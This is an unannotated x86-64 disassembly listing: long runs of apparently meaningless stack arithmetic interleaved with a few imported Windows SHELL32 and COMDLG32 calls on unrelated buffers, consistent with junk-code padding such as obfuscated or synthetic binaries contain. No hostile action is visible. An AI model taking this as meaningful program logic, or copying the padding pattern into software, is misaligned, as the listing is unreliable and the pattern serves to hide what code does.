lea r8, [rsp + 0xd168]
lea rdx, [rsp + 0xd9c8]
lea rcx, [rsp + 0xd378]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x6e68], eax
movsx eax, word [rsp + 0x2a8c]
mov rcx, qword [rsp + 0xd588]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2a50], ax
lea rax, [rsp + 0xd94]
mov qword [rsp + 0xdca8], rax
mov rax, qword [rsp + 0xda50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd4e0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2ad4], ax
mov rax, qword [rsp + 0xd3d8]
mov eax, dword [rax]
mov dword [rsp + 0x6e6c], eax
mov rax, qword [rsp + 0xdb78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd908]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd328], rax
mov rax, qword [rsp + 0xd628]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x252], al
mov rax, qword [0x14019f190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1714], ax
movzx eax, word [rsp + 0x1180]
mov rcx, qword [rsp + 0xd630]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11d4], ax
mov rax, qword [rsp + 0xd408]
mov rcx, qword [0x14019f0b8]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019f070], rax
mov rax, qword [rsp + 0xbe80]
mov qword [rsp + 0xdcb0], rax
mov rax, qword [rsp + 0xd5c8]
mov rcx, qword [rsp + 0xd868]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcb10], rax
mov rax, qword [0x14019d040]
mov rcx, qword [rsp + 0xd548]
mov qword [rsp + 0xdcb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdcb8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xdc68], rax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xce0], ax
movzx eax, byte [rsp + 0x52d]
movzx ecx, byte [rsp + 0x450]
or eax, ecx
mov byte [rsp + 0x50a], al
mov rax, qword [rsp + 0xd480]
mov eax, dword [rax]
mov dword [rsp + 0x6e70], eax
mov rax, qword [rsp + 0xd0d0]
mov ecx, dword [rsp + 0x6d0c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x632c], eax
mov rax, qword [rsp + 0xd488]
movsx eax, byte [rax]
movsx ecx, byte [str.mA8xd_v0]
add eax, ecx
mov byte [rsp + 0x3e7], al
mov rax, qword [rsp + 0xd3b8]
mov rcx, qword [rsp + 0xd248]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14019d118], rax
movzx eax, word [rsp + 0x1a38]
mov word [rsp + 0x2c80], ax
mov rax, qword [rsp + 0xdc40]
movsx eax, word [rax]
movsx ecx, word [0x14019f16c]
xor eax, ecx
mov word [rsp + 0x2b10], ax
movzx eax, word [rsp + 0x2b34]
movzx ecx, word [rsp + 0x2a78]
sub eax, ecx
mov word [rsp + 0x1230], ax
mov rax, qword [rsp + 0xd720]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x98a0]
shl rax, cl
mov qword [rsp + 0xbf78], rax
mov eax, dword [rsp + 0x6b88]
mov rcx, qword [0x14019f158]
mov qword [rsp + 0xdcc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdcc0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6dc4], eax
mov rax, qword [rsp + 0xd4c8]
mov qword [rsp + 0xdcc8], rax
mov rax, qword [rsp + 0xd488]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3e7]
or eax, ecx
mov byte [rsp + 0x4e3], al
movsx eax, word [rsp + 0x2bb8]
movsx ecx, word [rsp + 0x2bf8]
sub eax, ecx
mov word [rsp + 0x201c], ax
movzx eax, word [rsp + 0xf84]
mov rcx, qword [rsp + 0xdbf0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d0d0], ax
mov rax, qword [rsp + 0xad38]
mov rcx, qword [rsp + 0xd980]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdbc0], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov word [rsp + 0x2c84], ax
mov eax, dword [rsp + 0x5ec4]
mov rcx, qword [rsp + 0xdbc8]
mov qword [rsp + 0xdcd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdcd0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6dbc], eax
movzx eax, byte [0x14019ef90]
movzx ecx, byte [rsp + 0x504]
shl eax, cl
mov byte [rsp + 0x4ee], al
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
mov dword [rsp + 0x6e74], eax
mov rax, qword [rsp + 0xd970]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x503]
or eax, ecx
mov byte [rsp + 0x346], al
mov rax, qword [rsp + 0xdbe0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa700]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa570], rax
movsx eax, word [rsp + 0x13dc]
movsx ecx, word [rsp + 0x2c78]
and eax, ecx
mov word [rsp + 0x10c8], ax
mov rax, qword [rsp + 0xd700]
movzx eax, word [rax]
mov word [0x14019f204], ax
mov rax, qword [rsp + 0xd408]
mov rcx, qword [rsp + 0xd2a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbe80], rax
mov rax, qword [rsp + 0xd808]
mov qword [rsp + 0xdcd8], rax
mov rax, qword [rsp + 0xda00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d00]
sub eax, ecx
mov word [rsp + 0x2c74], ax
mov rax, qword [rsp + 0xdb00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd800]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xd0c], ax
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd198]
mov qword [rsp + 0xdce0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdce0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xd960]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x252]
movsx ecx, byte [rsp + 0x22a]
or eax, ecx
mov byte [rsp + 0x2cb], al
mov rax, qword [rsp + 0xda38]
mov qword [rsp + 0xdce8], rax
mov rax, qword [rsp + 0xd5a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd680], rax
mov rax, qword [0x14019f190]
movzx eax, word [rax]
mov word [0x14019f208], ax
movzx eax, word [rsp + 0x2a70]
mov word [rsp + 0x2c88], ax
mov rax, qword [rsp + 0xdc50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x507], al
mov rax, qword [rsp + 0xd150]
mov rcx, qword [rsp + 0xd480]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6258], eax
mov rax, qword [rsp + 0xda78]
mov rcx, qword [rsp + 0x8e20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdcb0], rax
movsx eax, byte [rsp + 0x158]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x338], al
mov rax, qword [rsp + 0xd4c8]
mov qword [rsp + 0xdcf0], rax
mov rax, qword [rsp + 0xd338]
mov rcx, qword [rsp + 0xcfb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xd960]
mov dword [rcx], eax
lea rax, [rsp + 0xe3c]
mov qword [rsp + 0xdcf8], rax
movzx eax, word [0x14019d058]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14019f07c], ax
mov rax, qword [rsp + 0xd890]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ef8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc338], rax
mov rax, qword [rsp + 0xd4e0]
movzx eax, word [rax]
mov rcx, qword [0x14019f018]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2c44], ax
movsx eax, word [rsp + 0x1c10]
mov rcx, qword [rsp + 0xd9b8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xdf0], ax
mov rax, qword [rsp + 0xd2e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd2b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd9d0]
mov qword [rcx], rax
mov rax, qword [0x14019efc8]
mov eax, dword [rax]
mov dword [rsp + 0x6e78], eax
mov rax, qword [rsp + 0x9c50]
movzx ecx, al
mov rax, qword [rsp + 0xbfa0]
shr rax, cl
mov qword [rsp + 0xbb48], rax
movsx eax, byte [rsp + 0x52b]
movsx ecx, byte [rsp + 0x12c]
or eax, ecx
mov byte [rsp + 0x18d], al
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b6c]
shl eax, cl
mov word [rsp + 0x185c], ax
mov rax, qword [rsp + 0xdc48]
mov rcx, qword [rsp + 0x9e78]
sub rcx, rax
mov rax, rcx
mov qword [str.sXp], rax
movzx eax, byte [0x14019d010]
movzx ecx, byte [rsp + 0x51f]
sub eax, ecx
mov byte [rsp + 0x528], al
mov rax, qword [rsp + 0xdb30]
mov eax, dword [rax]
mov dword [rsp + 0x6e7c], eax
mov rax, qword [rsp + 0xd7d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a64], ax
movzx eax, word [rsp + 0x2afc]
movzx ecx, word [rsp + 0x2c70]
add eax, ecx
mov rcx, qword [rsp + 0xd228]
mov word [rcx], ax
lea rax, [rsp + 0x6c24]
mov qword [rsp + 0xdd00], rax
movsx eax, byte [rsp + 0x4e0]
movsx ecx, byte [rsp + 0x45e]
add eax, ecx
mov byte [rsp + 0x4ad], al
mov rax, qword [0x14019f1f0]
mov rax, qword [rax]
mov qword [rsp + 0xdd08], rax
movsx eax, word [rsp + 0x1390]
mov rcx, qword [rsp + 0xd7b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1714], ax
movzx eax, word [rsp + 0x10d8]
mov rcx, qword [rsp + 0xdbd0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14019f0a4], ax
mov rax, qword [rsp + 0xd388]
mov rcx, qword [rsp + 0xd5a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9810], rax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xd660]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xda98], rax
mov rax, qword [rsp + 0xd0d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14019f0a8]
shl rax, cl
mov qword [rsp + 0xcf80], rax
lea rax, [rsp + 0x2bf8]
mov qword [rsp + 0xdd10], rax
mov rax, qword [rsp + 0xd058]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5b3c]
shr eax, cl
mov dword [rsp + 0x6e58], eax
mov rax, qword [rsp + 0xaa78]
mov qword [rsp + 0xdd18], rax
mov rax, qword [rsp + 0xd438]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4ea]
sub eax, ecx
mov byte [rsp + 0x346], al
mov rax, qword [rsp + 0xd480]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd098]
mov qword [rsp + 0xdd20], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdd20]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5918], eax
movzx eax, byte [rsp + 0x3b1]
mov rcx, qword [rsp + 0xd9e0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x47f], al
mov rax, qword [rsp + 0xd588]
movzx eax, word [rax]
mov word [0x14019f20c], ax
mov rax, qword [rsp + 0xd620]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c38]
sar eax, cl
mov word [rsp + 0x2adc], ax
lea rax, [0x14019d0c8]
mov qword [rsp + 0xdd28], rax
mov rax, qword [rsp + 0xd660]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb768]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd558], rax
mov rax, qword [rsp + 0xdd00]
mov ecx, dword [0x14019d0b0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6e14], eax
mov rax, qword [rsp + 0xd2c0]
movzx eax, byte [rax]
mov byte [rsp + 0x533], al
mov rax, qword [rsp + 0xdbe0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaaf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0c8], rax
lea rdx, [rsp + 0x20060]
lea rcx, [rsp + 0x2a5c]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0xd7c8], rax
mov rax, qword [rsp + 0xd588]
movzx eax, word [rax]
mov word [rsp + 0x2c8c], ax
movzx eax, word [rsp + 0x2bbc]
mov rcx, qword [rsp + 0xd828]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2b34], ax
mov rax, qword [rsp + 0x9a60]
mov rcx, qword [rsp + 0xbd38]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14019f0d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd8a0]
movzx eax, word [rax]
mov rcx, qword [0x14019f140]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1be0], ax
lea rax, [rsp + 0xd790]
mov qword [rsp + 0xdd30], rax
mov rax, qword [rsp + 0x9e78]
mov rcx, qword [rsp + 0xdd30]
mov qword [rsp + 0xdd38], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdd38]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xdab0], rax
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd058]
mov qword [rsp + 0xdd40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdd40]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x630c], eax
mov rax, qword [rsp + 0xd970]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd628]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x445], al
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
mov byte [rsp + 0x534], al
imul eax, dword [rsp + 0x6104], 0x74c50684
mov dword [rsp + 0x5b24], eax
mov rax, qword [rsp + 0xd1c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd6c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xadb8], rax
movsx eax, word [rsp + 0x2b00]
movsx ecx, word [rsp + 0x2bfc]
sub eax, ecx
mov word [0x14019d080], ax
mov rax, qword [rsp + 0xd420]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c5c]
sar eax, cl
mov word [rsp + 0x15b8], ax
movzx eax, word [rsp + 0x2c1c]
movzx ecx, word [rsp + 0xdb0]
or eax, ecx
mov word [rsp + 0x2bdc], ax
mov rax, qword [0x14019f060]
movzx eax, word [rax]
mov word [rsp + 0x2c90], ax
mov eax, dword [rsp + 0x6e58]
movzx ecx, al
mov eax, dword [rsp + 0x6704]
shl eax, cl
mov dword [rsp + 0x6e40], eax
mov rax, qword [rsp + 0xd110]
mov rcx, qword [rsp + 0xd5d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb1c0], rax
lea rax, [rsp + 0x4f9]
mov qword [rsp + 0xdd48], rax
movsx eax, word [rsp + 0x2a84]
movsx ecx, word [rsp + 0x2ab4]
sub eax, ecx
mov rcx, qword [rsp + 0xd928]
mov word [rcx], ax
movzx eax, word [rsp + 0x2ad0]
mov word [rsp + 0x2c94], ax
mov rax, qword [rsp + 0xda20]
mov rcx, qword [rsp + 0xd450]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14019d128], rax
mov rax, qword [rsp + 0xd918]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdab0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd288], rax
mov rax, qword [rsp + 0xd2e0]
mov rcx, qword [str.sXp]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcf48], rax
mov rax, qword [rsp + 0x91b0]
movzx ecx, al
mov rax, qword [rsp + 0xd1e0]
shl rax, cl
mov qword [rsp + 0x90d8], rax
movzx eax, word [rsp + 0x2c48]
mov rcx, qword [rsp + 0xd7f0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2b04], ax
mov eax, dword [rsp + 0x6e34]
mov dword [rsp + 0x6e80], eax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
sub eax, ecx
mov byte [rsp + 0x4f6], al
lea rax, [rsp + 0x6e08]
mov qword [rsp + 0xdd50], rax
mov rax, qword [0x14019eff0]
mov rcx, qword [rsp + 0xc4b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa478], rax
movzx eax, byte [rsp + 0x529]
mov byte [0x14019ef97], al
movsx eax, word [rsp + 0x2a64]
movsx ecx, word [rsp + 0x2a7c]
add eax, ecx
mov word [rsp + 0x2c80], ax
mov rax, qword [rsp + 0xdb90]
movsx eax, word [rax]
mov rcx, qword [0x14019f1c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1af8], ax
movzx eax, word [rsp + 0x2ad4]
movzx ecx, word [rsp + 0x1d98]
or eax, ecx
mov word [rsp + 0x2aa0], ax
mov rax, qword [rsp + 0xd388]
mov rax, qword [rax]
mov qword [rsp + 0xdd58], rax
mov rax, qword [0x14019f198]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd628]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x18d], al
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xaa78]
shl rax, cl
mov qword [rsp + 0xd938], rax
mov eax, dword [rsp + 0x6ddc]
mov dword [rsp + 0x6e84], eax
movsx eax, word [rsp + 0x13dc]
mov rcx, qword [rsp + 0xd588]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd750]
mov word [rcx], ax
movzx eax, word [rsp + 0x2ab0]
movzx ecx, word [rsp + 0x2b08]
add eax, ecx
mov word [0x14019d048], ax
mov rax, qword [0x14019f0d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9690], rax
mov rax, qword [rsp + 0xd8c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd800]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xd8a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd9e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x34f]
sar eax, cl
mov byte [rsp + 0x507], al
lea rax, [rsp + 0x6258]
mov qword [rsp + 0xdd60], rax
mov eax, dword [rsp + 0x58c8]
movzx ecx, al
mov eax, dword [rsp + 0x6d94]
shl eax, cl
mov dword [rsp + 0x6de4], eax
mov rax, qword [rsp + 0xd438]
movzx eax, byte [rax]
mov byte [rsp + 0x535], al
mov rax, qword [rsp + 0xb6e0]
mov rcx, qword [0x14019f1d8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0c8], rax
mov rax, qword [rsp + 0xd588]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c80]
sub eax, ecx
mov rcx, qword [rsp + 0xdc40]
mov word [rcx], ax
mov rax, qword [rsp + 0xd7a0]
movzx eax, word [rax]
mov word [0x14019f210], ax
lea rax, [rsp + 0xd868]
mov qword [rsp + 0xdd68], rax
mov rax, qword [rsp + 0xb4e0]
mov rcx, qword [rsp + 0x91a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd250], rax
mov rax, qword [rsp + 0xdc40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdd10]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1254], ax
mov rax, qword [0x14019f018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ac8]
add eax, ecx
mov word [rsp + 0x2afc], ax
lea rax, [rsp + 0x3e1]
mov qword [rsp + 0xdd70], rax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6184]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd338]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd248]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14019d020]
shr rax, cl
mov qword [rsp + 0xd858], rax
mov rax, qword [rsp + 0xb4e0]
mov qword [rsp + 0xdd78], rax
mov rax, qword [rsp + 0xdb70]
movsx eax, word [rax]
mov rcx, qword [0x14019efb8]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x14019f20c], ax
movzx eax, word [rsp + 0x2ac4]
movzx ecx, word [rsp + 0x25c0]
shl eax, cl
mov word [rsp + 0x2ad4], ax
mov rax, qword [rsp + 0xd098]
mov rcx, qword [rsp + 0xd150]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6540], eax
movzx eax, byte [0x14019d010]
movzx ecx, byte [rsp + 0x4a1]
xor eax, ecx
mov byte [rsp + 0x4fc], al
mov rax, qword [rsp + 0xd940]
mov rcx, qword [rsp + 0xcfe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbd38], rax
lea rdx, [rsp + 0x21150]
lea rcx, [rsp + 0x1f020]
call qword [sym.imp.SHELL32.dll_SHIsFileAvailableOffline]
mov dword [rsp + 0x6e4c], eax
movzx eax, byte [rsp + 0x500]
mov byte [rsp + 0x536], al
mov rax, qword [0x14019f1f0]
mov rcx, qword [rsp + 0xd4c0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd568], rax
lea rax, [rsp + 0x6e1c]
mov qword [rsp + 0xdd80], rax
mov rax, qword [rsp + 0xd258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd398]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xdcf8]
mov word [rcx], ax
movzx eax, word [rsp + 0x2580]
movzx ecx, word [rsp + 0x2be4]
shl eax, cl
mov rcx, qword [0x14019f018]
mov word [rcx], ax
mov rax, qword [rsp + 0xd860]
mov rcx, qword [rsp + 0xd298]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd9d0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x14a0]
mov word [rsp + 0x2c98], ax
movsx eax, word [0x14019efd8]
mov rcx, qword [rsp + 0xd750]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1390], ax
mov rax, qword [rsp + 0xd388]
mov rcx, qword [rsp + 0xa6f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa548], rax
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6a]
add eax, ecx
mov byte [rsp + 0x4e6], al
lea rax, [rsp + 0x6d70]
mov qword [rsp + 0xdd88], rax
mov rax, qword [rsp + 0xc188]
mov rcx, qword [rsp + 0xd658]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd110]
mov qword [rcx], rax
movzx eax, word [0x14019d114]
mov rcx, qword [rsp + 0xd700]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2c38], ax
mov rax, qword [rsp + 0x91a8]
mov rcx, qword [rsp + 0x9e10]
or rcx, rax
mov rax, rcx
mov qword [0x14019d130], rax
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
mov dword [rsp + 0x6e88], eax
movzx eax, byte [0x14019ef90]
movzx ecx, byte [rsp + 0x1de]
xor eax, ecx
mov byte [rsp + 0x283], al
movsx eax, word [rsp + 0x13d8]
movsx ecx, word [rsp + 0x2b10]
and eax, ecx
mov word [rsp + 0x171c], ax
mov rax, qword [rsp + 0xdca8]
movzx eax, word [rax]
mov rcx, qword [0x14019efd0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2b18], ax
mov rax, qword [rsp + 0xd1c8]
mov rcx, qword [rsp + 0xbfa0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9fe0], rax
mov rax, qword [rsp + 0xd960]
mov eax, dword [rax]
mov dword [rsp + 0x6e8c], eax
mov rax, qword [rsp + 0xd180]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdd48]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3e7], al
mov rax, qword [rsp + 0xd588]
movzx eax, word [rax]
mov word [rsp + 0x2c9c], ax
lea rax, [rsp + 0x6d60]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xd448]
lea r8, [rsp + 0xd2d0]
mov edx, 0x36
lea rcx, [rsp + 0xd688]
call qword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [rsp + 0x6cfc], eax
lea rdx, [rsp + 0xd130]
lea rcx, [rsp + 0xd520]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x6bb8], eax
movzx eax, word [rsp + 0x2b80]
mov rcx, qword [rsp + 0xd4e0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14019d114], ax
mov rax, qword [rsp + 0xdab8]
movzx ecx, al
mov rax, qword [rsp + 0xacf8]
shl rax, cl
mov qword [rsp + 0xc338], rax
mov rax, qword [rsp + 0xd3a8]
mov rcx, qword [rsp + 0x98a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdcd8], rax
lea rax, [rsp + 0xd870]
mov qword [rsp + 0xdd90], rax
mov rax, qword [rsp + 0xd878]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a50], ax
mov rax, qword [rsp + 0xdd80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6704]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6804], eax
mov rax, qword [rsp + 0xd180]
movsx eax, byte [rax]
movsx ecx, byte [0x14019ef91]
add eax, ecx
mov rcx, qword [rsp + 0xd9f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xd5d0]
mov rcx, qword [rsp + 0xd1c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd210], rax
lea rax, [rsp + 0x4f0]
mov qword [rsp + 0xdd98], rax
mov rax, qword [rsp + 0xdd60]
mov ecx, dword [rsp + 0x6dbc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6258], eax
mov rax, qword [rsp + 0xdcf8]
movzx eax, word [rax]
mov word [0x14019f214], ax
mov rax, qword [rsp + 0xd7f0]
movzx eax, word [rax]
mov word [rsp + 0x2ca0], ax
lea rcx, [rsp + 0x1f380]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x6e90], eax
movzx eax, word [rsp + 0x26d0]
movzx ecx, word [0x14019f1a4]
xor eax, ecx
mov word [rsp + 0x2a98], ax
mov rax, qword [rsp + 0xd298]
mov rcx, qword [rsp + 0xda78]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa678], rax
xor edx, edx
mov eax, dword [rsp + 0x6db0]
div dword [rsp + 0x6e1c]
mov dword [rsp + 0x5a94], eax
mov rax, qword [0x14019f1f0]
mov rcx, qword [rsp + 0xc8e8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd6c0], rax
mov rax, qword [rsp + 0xd488]
movzx eax, byte [rax]
mov byte [rsp + 0x537], al
movsx eax, word [rsp + 0x2bf8]
mov rcx, qword [rsp + 0xda00]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xe3c], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
mov word [rsp + 0x2ca4], ax
mov rax, qword [rsp + 0xdd30]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9ee8]
sar rax, cl
mov qword [0x14019d0c0], rax
mov rax, qword [rsp + 0xdca8]
movzx eax, word [rax]
movzx ecx, word [0x14019f188]
sub eax, ecx
mov rcx, qword [rsp + 0xd5f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xdd68]
mov rcx, qword [rsp + 0xda20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaf10], rax
lea rax, [rsp + 0x9428]
mov qword [rsp + 0xdda0], rax
mov rax, qword [rsp + 0xd970]
movsx eax, byte [rax]
mov rcx, qword [0x14019f198]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x512], al
mov rax, qword [rsp + 0xd9a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd110]
mov qword [rsp + 0xdda8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdda8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb200], rax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa8]
or eax, ecx
